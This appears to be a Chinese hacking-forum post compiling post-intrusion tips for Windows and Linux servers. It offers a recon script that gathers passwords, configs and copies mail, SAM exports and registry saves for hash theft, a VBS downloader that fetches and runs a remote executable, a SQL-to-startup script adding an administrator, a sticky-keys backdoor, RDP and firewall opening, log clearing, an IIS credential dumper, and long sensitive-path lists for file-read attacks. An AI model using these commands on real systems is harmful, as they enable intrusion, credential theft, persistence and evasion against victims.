感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
; W# r' P8 {) h& O5 q1 K/ a% b7 P————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
/ \8 B8 s7 M$ T$ G{
% b& G' r% U9 w4 M注：
1 u' k3 j3 x8 d$ S" a! s: L, u' ~关于tar的打包方式,linux不以扩展名来决定文件类型。
, M, M/ S0 `0 B9 c+ p7 G若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
4 Q) l$ A7 I8 h
提权先执行systeminfo
) y( Z8 p8 P) r, d/ |token 漏洞补丁号 KB956572
Churrasco          kb952004
& a+ e; F5 L) i+ V0 B, f2 ?1 c0 S0 D命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
  K# |  k/ L" H, [/ V1 G——————————————
  z* {  G9 X5 ^8 Z, \* y) V! N2、收集系统信息的脚本  
for window：

@echo off
0 \" l' }, o5 Yecho #########system info collection
systeminfo
ver
% M7 E2 f7 p) G0 Dhostname
net user
( b/ g, N1 M1 Z5 Anet localgroup
* ?3 R3 }: P& q- l& y. Onet localgroup administrators
) [* A4 s  s  }' mnet user guest
9 j: c+ e$ y0 N% ]net user administrator

echo #######at- with   atq#####
- G4 q5 D! I0 v9 ]; J7 D5 c  ]echo schtask /query

echo
% K  Y7 h+ Y# J% H. Decho ####task-list#############
tasklist /svc
& ~3 r, V! {2 S% d9 j3 uecho
3 y0 z" N$ B7 W: B% M/ o' {( jecho ####net-work infomation
9 t+ C) c$ \) b7 ~& lipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
7 q2 y; R5 }. I4 Y& G  Y7 Oecho
+ S" \- I1 }9 G( a- ^2 oecho #######service############
sc query type= service state= all
echo #######file-##############
cd \
' Z2 e1 E! q4 ^tree -F
, i8 J& D& h! g6 C% `for linux：

/ k3 A! X0 U3 F5 r7 _% B: o: O#!/bin/bash
  g$ I1 `, l6 [" D1 E3 w7 U
echo #######geting sysinfo####
* Y8 I: t/ B  s- Lecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
; M) x8 F/ t0 x) z5 Iecho
6 `; h: l) s5 A9 ~cat /proc/cpuinfo
echo
9 }& J4 Q5 A1 orpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
* V2 x" r; u$ [

echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
3 U' Z( \) X5 p. e0 U! [9 I5 o1 xcrontab -l
0 q8 ~7 B0 b7 b+ W: V4 ]( \echo #####about var#####
set

echo #####about network###
" @6 M/ t$ J0 b+ k+ c. i6 E####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
% h9 P" x$ V$ z* }* E# O- mhostname
ipconfig -a
3 ^, O2 U' ]) c* N* N( g/ y! garp -v
7 @4 Y1 {3 g( @2 b  Iecho ########user####
cat /etc/passwd|grep -i sh

echo ######service####
" Z% {2 k" b! s' k: Nchkconfig --list

5 j; \' N- i8 E  i  w4 {for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
4 O6 U4 L: u) g- x* o. C5 ~done

) c  n5 ^* Z' G1 }- b3 ^) alocate passwd >/tmp/password 2>/dev/null
sleep 5
! X2 N( g0 z* |# b6 Vlocate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
. U/ w) ?6 @' v) c+ \: P7 x
: v7 @& W# }, ^2 w9 X# p###maybe can use "tree /"###
echo ##packing up#########
: S2 o; \: a: ^2 Wtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
$ N$ ]) n. C3 S, Hrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
' Q" p4 C# p) ]  r# p. T& d4 O               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
  z  o8 b8 g) n0 b注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
+ v5 P8 O4 [) H$ T+ c6 ~0 Z' F接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
3 q. w6 Q% ^" |- h1
5 k2 Z6 T6 d( S5 S, j/ n$ fecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
# I& q( V& R5 z: y( |% O5 aecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
( J# t$ b4 ~$ Q% `6 yecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
% k: v0 ?7 [, K6 Acftmon.vbs
. U/ f! f' r4 y; K0 N9 K; v+ J4 Q
6 V  x# w3 O8 T) z3 N2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
# F( f$ ]6 z; K' F! y- v3 a3 V
% G& J$ W9 ^' k7 Ucscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
! c+ o+ e6 I) z+ m+ d1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
3 R: q/ B# a; [REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  l/ _3 b$ Z0 w8 H8 i/ U, W- {3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
) |8 g7 u7 k3 p2 Z' S/ [; f& oREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
/ @# p" t; D4 [, _# i* f2 z3 sselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
4 K: C1 r: t$ M& m_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
  for /d %i in (???) do @echo %i
! O& W; e( \; h. h/ U
把当前路径下文件夹的名字只有1-3个字母的打出来
% o4 }! g' J- D; |  ?* l! a
  H6 [0 w. g/ a4 b1 O/ k2.for /r %i in (*.exe) do @echo %i
3 l6 z* e9 n/ D  z+ b, A; i  
7 ?* P& Q* v: v( I* H; b1 W以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
; p7 A$ a/ w+ @; o
- I+ H3 C1 [: k3.for /f %i in (c:\1.txt) do echo %i
: \1 l3 n6 F/ G) z5 m- Z& c  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

+ O; O$ K7 U7 Y2 i6 j9 c  delims=后的空格是分隔符 tokens是取第几个位置
8 H; D1 e5 e: w——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
$ y  D$ @# M7 U+ _4 s
- O) F& q# y2 N6 b$ R2.修改3389的默认端口:
$ S2 S! O( P" p9 i9 ~* {HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
% i' Z) U$ T) g4 f/ O修改PortNumber.
: p, z# X# E  J* ?% O; m" {
0 O8 A# h0 I0 R/ A. L' n% i3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
7 U2 S6 w# n/ d. k
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
$ ]- o5 L/ {: B4 \! t5 Q
5.禁用TCP/IP端口筛选(需重启):
, L# F3 k& Z7 t; kREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
9 E" V) B  C/ Y. Z; B# ?0 H
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
( Q# }2 m+ j3 k* c1 [" Fnetsh ipsec dynamic set config ipsecexempt value=0

6 G+ v+ |% o& A( \# o7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
' l' }! ?" V; _/ L9 Ereg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
. x, z0 Y9 V, d' [: A% Z
9.另类方法抓系统密码HASH
7 o4 O5 ^4 v5 u3 S7 @' G* r9 mreg save hklm\sam c:\sam.hive
( U* l+ C0 C3 D1 [6 r$ vreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
5 H1 d1 q1 O7 D/ vreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
& d1 }2 h+ O/ _, X2 L3 S星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
3 j- l. M# U8 {& P9 bFor Each obj3w In objservice
7 p2 w6 v% U) |! J$ {/ {childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
& E0 U0 c- O+ q/ A0 D8 g3 D6 gif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
1 T) o+ g0 {. I& W! r( h- yend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
3 {# \6 e2 c3 [7 l# Kuser=iisweb.AnonymousUserName
; s% P; d7 l4 E3 O" M2 t* _5 A% ]pass=iisweb.AnonymousUserPass
path=IIsWeb.path
1 U& D( w. y0 w+ l: E1 ]6 M( x6 W0 Llist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
! M$ l+ ?5 Y" Xend if
Next
9 {8 N$ h- m$ B+ V2 Jwscript.echo list
Set ObjService=Nothing
' D4 t* p* B& o) \wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
1 `4 I% W+ P0 a1 r: F" g复制代码
5 q+ N, Z' C* |5 S----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
: H7 H4 S% {4 Q将folder.htt文件，加入以下代码：
3 D# A! g1 C, ]. @# }( U/ r; C<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
8 N8 y5 z$ ]& C1 A2 {. f* ]4 C, N( KPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
+ T. m2 ]4 E+ Y url=request.severvariables("url")
1 U# y7 X, E% I) ?# `$ g7 l 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

. A+ e; q2 C. k( L, ?==============================================================
6 W! b* N; w2 L+ l9 Q0 g% A6 ALINUX常见路径：

/ J" Q7 l# t+ p/etc/passwd
" {3 o; ^$ o2 l8 E/etc/shadow
/etc/fstab
/etc/host.conf
5 n% ~% e7 U& y, G' R0 n3 J9 J, w* F/etc/motd
8 ?* t4 Z+ E! u3 y$ q; X: O/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
4 W2 x3 K3 i, h8 u/var/httpd/htdocs/index.php
4 Q3 o6 Z4 ~3 a$ J. l8 \* n/var/httpd/conf/httpd.conf
* ^3 m7 G1 U- N% K/ M/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
' B! Q, s) M: H5 p9 f/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
. q9 q/ l" Y) S/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
0 r  i; e! A9 t. p/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
8 O! c( U/ E3 U4 ]1 f/usr/local/apache2/htdocs/index.php
6 C, l. T& n4 r; m) d5 ~) J/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
$ m& w& c/ f. j" z; F/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
8 G3 J# }4 S& ]/ S2 A: C/etc/httpd/htdocs/index.html
3 N: N# {8 V) E. p' N5 M- r/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
# O- u1 k/ r0 ~/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
, s+ n! p3 H4 B. e& v' H+ m/etc/apache2/apache.conf
5 j: O' M, b$ v, k9 v1 m$ H/etc/apache/httpd.conf
6 K8 b; u. T7 m3 e, `2 l: ]/etc/apache2/httpd.conf
: ]9 i0 Q/ i: @) W/etc/apache2/vhosts.d/00_default_vhost.conf
! C1 |$ c, ^- Y" f# t7 o# f5 i. K/etc/apache2/sites-available/default
; L. U7 b% ]8 ~4 @2 N/etc/phpmyadmin/config.inc.php
- K- N% _; u  w  g2 L9 x4 U' y/etc/mysql/my.cnf
; e2 X2 p* z# d0 q! _+ v/etc/httpd/conf.d/php.conf
, g# F8 d2 j; @/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
# ?: P0 }; d9 c) ~+ v+ n/etc/httpd/logs/error.log
) h9 p/ [. K- S/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
9 |9 P- |, P9 c2 i/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
, X& r; [% c8 E1 s' l/var/log/apache/error.log
/var/log/apache/access_log
- e6 K1 `& t* o! y* x- O  [/ m4 [0 X/var/log/apache/access.log
/var/log/apache2/error_log
7 Z5 K: T+ Z0 _8 \9 L" H9 ~/var/log/apache2/error.log
/var/log/apache2/access_log
. v% N4 I, F0 }& G9 n8 Z0 m8 x/var/log/apache2/access.log
/var/www/logs/error_log
" n* Y; z. ]5 N; e/var/www/logs/error.log
1 l7 p. x& y3 [8 c- ?5 m8 E$ y% `/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
6 H+ J& d( B; ?- ]$ p/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
9 i" u! J5 Y3 h1 r5 ]9 \5 B/var/log/error_log
/var/log/error.log
/var/log/access_log
+ B% F: t& b- `( e) j/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
4 I' B, b4 c3 }& [+ T/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
* p2 T" N6 e( y8 d4 m* F2 \: p/bin/php.ini
  z- Y3 W- O6 E, T$ |/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
. i) @! Y: }8 q, O/usr/lib/php.ini
" z/ I+ b+ l6 j  X( @+ _3 u# u  O/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
4 @" E. X5 q" J8 V7 {8 i' n9 R/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
: q% P. @, p, `7 V/usr/local/php4/lib/php.ini
" S; J& \* T: \# }1 J/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
" L$ R! c$ O/ B+ l3 v; x. a7 s  P/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
4 r* s( U8 C, G; ~/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
: p4 c) E/ Q- a. F8 j/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
; C7 F: c0 u" z5 J5 B$ K1 T9 E( n/etc/php4/apache2/php.ini
1 v+ T7 m, L/ D: @# l) s8 O3 _/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
1 h& A& L; M2 x! T: R& [3 N/etc/php/php.ini
7 z8 i7 _( H  z/etc/php/php4/php.ini
/etc/php/apache/php.ini
9 U* z: @( o' M: `/etc/php/apache2/php.ini
! a( V' N1 E" m# j/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
3 _  M& W# Y, A! R/var/local/www/conf/php.ini
  r' ?: V0 ^* h/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
8 d; e) K# |, O) N/etc/php4/cgi/php.ini
  p$ ^4 p& G2 f* _! E# |/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
. O! f% ~  {9 T2 B: u" ?/PHP/php.ini
/ u: {7 N8 x3 p0 q/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
1 t! R6 @6 Z( f1 Y/NetServer/bin/stable/apache/php.ini
: z& [9 D& `6 U2 P' C( w/home2/bin/stable/apache/php.ini
& H( A# w3 Z+ d" o' W# _/home/bin/stable/apache/php.ini
+ R3 P3 w2 ~9 _% k2 _" w/var/log/mysql/mysql-bin.log
+ C$ `8 a. t! Z* k0 D/ |4 f7 V/var/log/mysql.log
/ J( s" y1 z2 Y2 d! l/var/log/mysqlderror.log
/var/log/mysql/mysql.log
' ?! V- @/ _% C# w* G/var/log/mysql/mysql-slow.log
/var/mysql.log
* V% o# e; F9 R6 U! v# J' p/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
) `& j) i- q5 h/usr/local/mysql/bin/mysql
1 u; S+ |0 v, U  v& r/etc/mysql/my.cnf
' p  U: b1 @) k7 k# T/etc/my.cnf
/usr/local/cpanel/logs
) P+ B8 u0 }7 @; r' L6 J/usr/local/cpanel/logs/stats_log
% K7 a. ]: L; o2 C/usr/local/cpanel/logs/access_log
: I% U& _- m3 E( f1 N/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
1 q* x; m+ t5 y) S/usr/local/cpanel/logs/login_log
8 x+ v! ^5 j4 _6 y. E: y4 i2 G/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

- [& X2 a8 t& `. G5 h) i! E3 }$ \- Zc:\windows\php.ini
" S  J! C- r4 F. oc:\boot.ini
0 m* @, o7 D/ n/ s& kc:\1.txt
c:\a.txt
% e$ ]6 I6 x# V: Q' {  J! S% k
c:\CMailServer\config.ini
3 ?7 L+ S3 u% B8 b/ a" ^8 A" b' i* cc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
+ q) r$ Q3 C1 m. a" BC:\WinWebMail\Web\default.asp
/ s6 r: a% e8 p# A( \0 a0 O- e3 RC:\WINDOWS\FreeHost32.dll
/ |* W* G) J/ h; g2 i* n1 YC:\WINDOWS\7i24iislog4.exe
" n7 n4 a2 k: t7 c/ yC:\WINDOWS\7i24tool.exe

7 F: O  p( @' L  l4 f) g7 gc:\hzhost\databases\url.asp

0 t- E2 M3 v2 m0 P3 O6 Dc:\hzhost\hzclient.exe
; r$ t' H9 @( `+ j4 K3 H8 q- fC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
" P8 w9 P! K9 g+ M
. _; c+ T3 ]) m9 [  I4 \3 MC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
/ \! b  w+ Z) m: {c:\web\index.html
c:\www\index.html
/ o; X4 G. A9 M9 Pc:\WWWROOT\index.html
c:\website\index.html
2 ^4 J5 S5 n* R3 i5 _c:\web\index.asp
% \7 k9 R/ b3 \c:\www\index.asp
3 K9 {. @* E1 W" D/ M) \c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
3 y0 f) n  e% a  a% v1 Q/ V4 P; yc:\www\index.php
3 h- c* o; o7 V  p% t; Q8 e. {# i* ~c:\WWWROOT\index.php
c:\WWWsite\index.php
3 z( s9 M# g; n% }. Sc:\web\default.html
c:\www\default.html
9 b0 q( i4 I! Dc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
, X+ d" y% B' F( |) [  Z- e! K0 Mc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
0 M  k, C7 n$ c1 q' Z3 h8 |( }$ Bc:\WWWROOT\default.php
- u* X* N: O9 ]! j5 bc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
0 R1 {, C4 G' Y, @1 Vc:\windows\notepad.exe
. v; b1 P9 h/ m' `, Jc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
1 t( Z0 A3 U7 p( J7 a1 U% nC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
0 k  ~" `/ h1 y! s, M" W5 [C:\Program Files\winrar\rar.exe
9 Y1 U, a) K. A; u- m( h8 d8 a7 I1 dC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
- Z8 L7 t9 T9 I1 C8 Cc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
* f2 b$ r3 a% r: N5 XC:\Documents and Settings\Administrator\My Documents\Default.rdp
8 t! o; b6 c* K: I" G, h1 IC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
5 i0 P" K5 O% r8 p) W8 O0 PC:\Documents and Settings\Administrator\My Documents\1.txt
/ u# A! X  q6 t& ^C:\Documents and Settings\Administrator\桌面\1.txt
4 W) g2 V: w1 w% N: [  @C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
6 b4 O2 M, X6 d# v( p6 WC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
' N9 x8 b* C& K' N% ~) x/ t! k" ]4 xC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
: e: D0 E: @3 ^% x1 w# B( VC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
0 O" M! k  v! X+ ^+ B8 AC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
3 M, e$ {. _- cC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
, O0 a" S; `. \3 mC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
+ X- @5 x; r, F: nC:\MySQL\MySQL Server 5.0\my.ini
7 W3 e4 x5 C8 Y, U) O" _C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
( X" }7 `% a: K3 xc:\MySQL\MySQL Server 4.1\bin\mysql.exe
9 z/ F) c+ e% _6 lc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
! l6 i) b+ U; C0 |C:\Program Files\Oracle\oraconfig\Lpk.dll
! _$ ~( M3 h4 \* HC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
$ ?7 N6 d4 A% p* E$ t6 ~* WC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
5 H# q! O2 L5 T  GC:\WINDOWS\system32\inetsrv\MetaBase.xml
0 G2 V9 Z! b4 \. V1 `4 QC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
: T0 ?0 ~+ x+ H) p) ac:\CMailServer\config.ini
! a6 F% h" N: z  i; `  Wc:\program files\CMailServer\config.ini
9 Y, |2 k& w& u% e# Q$ A3 nc:\tomcat6\tomcat6\bin\version.sh
. W3 i& k9 p/ R7 xc:\tomcat6\bin\version.sh
7 r" x4 S* Q5 Q/ ?0 D  S, ^6 Tc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
6 [- T$ i( f$ K5 `" D1 j# v# }c:\Apache2\Apache2\bin\Apache.exe
2 L! n: c) A4 s) n# Mc:\Apache2\bin\Apache.exe
7 n% S7 F. K- N7 oc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
0 L# S3 F. F' \4 D, `c:\Program Files\Tencent\qq\User.db
$ q  p( k+ s: R- P4 U' a$ ]c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
7 r. g4 y! F5 Wc:\Program Files\Tencent\qq2008\qq.exe
! @* |0 I! m# q, qc:\Program Files\Tencent\qq2010\bin\qq.exe
4 X# `# e; b) R% B% T* p0 Gc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
2 k, J7 U# K0 Wc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
7 R' {* q+ }3 h" K1 Nc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
